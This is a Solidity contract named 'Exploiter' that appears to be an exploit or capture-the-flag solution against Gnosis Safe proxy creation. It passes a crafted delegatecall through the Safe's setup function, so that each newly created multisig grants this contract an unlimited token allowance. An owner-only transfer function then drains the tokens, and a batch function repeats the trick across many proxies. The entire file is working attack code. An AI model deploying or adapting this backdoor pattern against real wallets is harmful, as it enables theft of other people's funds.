// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.5.3;

import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";

contract Exploiter {
    Proxy proxy;
    ProxyFactory proxyFactory;
    address owner;

    constructor(address _proxyFactory) public{
        owner = msg.sender;
        proxyFactory = ProxyFactory(_proxyFactory);
    }

    modifier onlyOwner() {
      require(msg.sender == owner);   
      _;
    }

    function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
        address[] memory owners = new address[](1);
        owners[0] = owner;
        bytes memory callApprove =  abi.encodeWithSignature(
            "approve(address,address)",
            _token,
            address(this)
        );

        bytes memory data = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,address)", 
            owners,
            1,
            address(this),
            callApprove,
            address(0),
            address(0),
            0,
            address(0)
        );
        // bytes memory data;
        proxy = proxyFactory.createProxy(_masterCopy, data);
        return address(proxy);
    }

    function approve(address _token, address _spender) public  {
        IERC20(_token).approve(_spender, uint256(-1));
    }

    function transfer(address _token, address _multisig, address _to, uint256 _amount) public onlyOwner {
        IERC20(_token).transferFrom(_multisig, _to, _amount);
    }

    function createMultipleMultisig(address _masterCopy, address _token, uint256 _batchSize) public onlyOwner returns(address[] memory){
        address[] memory list = new address[](_batchSize);
        for(uint256 i = 0; i < _batchSize; i++){
            address rs = createMultisig(_masterCopy, _token);
            list[i] = rs;
        }
        return list;
    }
}